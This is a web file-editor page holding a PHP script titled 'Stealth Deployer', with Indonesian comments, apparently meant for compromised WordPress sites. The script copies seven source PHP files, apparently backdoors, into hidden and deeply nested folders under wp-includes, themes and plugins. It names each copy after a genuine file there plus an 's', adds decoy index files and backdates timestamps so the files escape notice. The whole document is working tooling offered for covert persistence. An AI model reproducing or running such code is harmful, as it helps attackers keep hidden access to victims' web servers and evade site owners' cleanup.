← Back
Editing: 4-leuser-deploy-new.php
<?php @error_reporting(0); @ini_set('display_errors', 0); $sourcesList = ['nothing5.php', 'nothing6.php', 'nothing7.php', 'nothing8.php', 'nothing9.php', 'complete.php', 'aksessellerpakebyudiedit.php']; $availableSources = []; foreach ($sourcesList as $srcFile) { $srcPath = __DIR__ . '/' . $srcFile; if (file_exists($srcPath)) { $availableSources[] = $srcPath; } } if (empty($availableSources)) { die('Tidak ada file sumber yang ditemukan di direktori ini.'); } $host = $_SERVER['HTTP_HOST']; $docRoot = $_SERVER['DOCUMENT_ROOT']; // Fungsi tanggal bawaan asli (Random 2024 - 2025) function setFileRandomDate2024To2025($targetFile) { $randomYear = (rand(0, 1) === 0) ? 2024 : 2025; $randomMonth = rand(1, 12); $randomDay = rand(1, 28); $randomHour = rand(0, 23); $randomMinute = rand(0, 59); $fixedTime = mktime($randomHour, $randomMinute, 0, $randomMonth, $randomDay, $randomYear); @touch($targetFile, $fixedTime, $fixedTime); } // Fungsi andalan untuk mencari folder yang paling mentok (tidak punya subfolder lagi) function getDeepestFolders($dir, &$leafDirs) { $subdirs = @glob($dir . '/*', GLOB_ONLYDIR); if (empty($subdirs)) { $leafDirs[] = $dir; } else { foreach ($subdirs as $subdir) { getDeepestFolders($subdir, $leafDirs); } } } $success = []; // 1. BUAT HIDDEN FOLDER DI wp-content/plugins/ DENGAN STRUKTUR TERDALAM $hiddenBackupRoot = $docRoot . '/wp-content/plugins/index-fast'; $hiddenDeepPath = $hiddenBackupRoot . '/core/logs/archive'; if (!is_dir($hiddenDeepPath)) { @mkdir($hiddenDeepPath, 0755, true); @file_put_contents($hiddenBackupRoot . '/index.php', '<?php // Silence is golden.'); @file_put_contents($hiddenBackupRoot . '/core/index.php', '<?php // Silence is golden.'); @file_put_contents($hiddenBackupRoot . '/core/logs/index.php', '<?php // Silence is golden.'); } $hiddenLeafs = []; getDeepestFolders($hiddenBackupRoot, $hiddenLeafs); // 2. PRIORITAS UTAMA: Ambil folder terdalam di wp-includes $includesDir = $docRoot . '/wp-includes'; $includesLeafs = []; if (is_dir($includesDir)) { getDeepestFolders($includesDir, $includesLeafs); } // 3. Ambil folder terdalam di Themes & Plugins sebagai pelengkap $themesLeafs = []; $themesDir = $docRoot . '/wp-content/themes'; if (is_dir($themesDir)) getDeepestFolders($themesDir, $themesLeafs); $pluginsLeafs = []; $pluginsDir = $docRoot . '/wp-content/plugins'; if (is_dir($pluginsDir)) getDeepestFolders($pluginsDir, $pluginsLeafs); // Gabungkan pool folder dengan menaruh hidden folder & wp-includes di urutan teratas (Prioritas) $allLeafs = array_merge($hiddenLeafs, $includesLeafs, $themesLeafs, $pluginsLeafs); $allLeafs = array_unique($allLeafs); if (empty($allLeafs)) { $allLeafs = [__DIR__]; } // Filter folder yang benar-benar punya file PHP asli di dalamnya $validFolders = []; foreach ($allLeafs as $folder) { $phpFiles = glob($folder . '/*.php'); $folderPhpFiles = []; if ($phpFiles) { foreach ($phpFiles as $file) { $baseName = basename($file); if ($baseName !== 'index.php' && $baseName !== basename(__FILE__)) { $folderPhpFiles[] = $baseName; } } } if (!empty($folderPhpFiles)) { $validFolders[] = [ 'folder' => $folder, 'files' => $folderPhpFiles ]; } } // Fallback aman jika folder valid kurang dari 14 while (count($validFolders) < 14 && !empty($allLeafs)) { $randFolder = $allLeafs[array_rand($allLeafs)]; $exists = false; foreach ($validFolders as $vf) { if ($vf['folder'] === $randFolder) $exists = true; } if (!$exists) { $validFolders[] = [ 'folder' => $randFolder, 'files' => ['DefaultComponent.php'] ]; } else { break; } } shuffle($validFolders); // Kita butuh tepat 14 slot tujuan (7 sumber x masing-masing 2 lokasi berbeda) $targetSlots = []; $indexFolder = 0; for ($s = 0; $s < count($availableSources); $s++) { for ($l = 0; $l < 2; $l++) { if (!isset($validFolders[$indexFolder])) { $indexFolder = 0; // Loop kembali jika folder habis } $slotData = $validFolders[$indexFolder]; $indexFolder++; // Ambil nama file asli KHUSUS dari folder tujuan tersebut $nativeFile = $slotData['files'][array_rand($slotData['files'])]; $pathInfo = pathinfo($nativeFile); $customName = $pathInfo['filename'] . 's.' . ($pathInfo['extension'] ?? 'php'); $targetSlots[] = [ 'source_index' => $s, 'folder' => $slotData['folder'], 'filename' => $customName ]; } } // Eksekusi penyebaran 14 file secara independen foreach ($targetSlots as $slot) { $source = $availableSources[$slot['source_index'] % count($availableSources)]; $targetDir = $slot['folder']; $targetName = $slot['filename']; if (!is_dir($targetDir)) { @mkdir($targetDir, 0755, true); } $target = $targetDir . '/' . $targetName; if (@copy($source, $target)) { @chmod($target, 0644); setFileRandomDate2024To2025($target); $success[] = $target; } } echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Stealth Deployer</title>"; echo "<style>body{background:#1a1a1a;color:#0f0;font:13px monospace;padding:20px}h2{color:#0f0}h3{color:#ff0}.ok{color:#0f0}table{border-collapse:collapse;width:100%}td,th{border:1px solid #333;padding:4px 8px;text-align:left}th{background:#222}</style>"; echo "</head><body>"; echo "<h2>Stealth Deployer (Independent Native Suffix per Folder, Exact 14 Files) — $host</h2>"; echo "<h3 class='ok'>✅ Sukses Disebar Total " . count($success) . " File (Setiap folder murni memakai nama file aslinya sendiri + huruf 's')</h3>"; echo "<table><tr><th>Path File (Mentok)</th></tr>"; foreach ($success as $s) { echo "<tr><td class='ok'>" . htmlspecialchars($s) . "</td></tr>"; } echo "</table>"; echo "</body></html>"; ?>
Save File
Cancel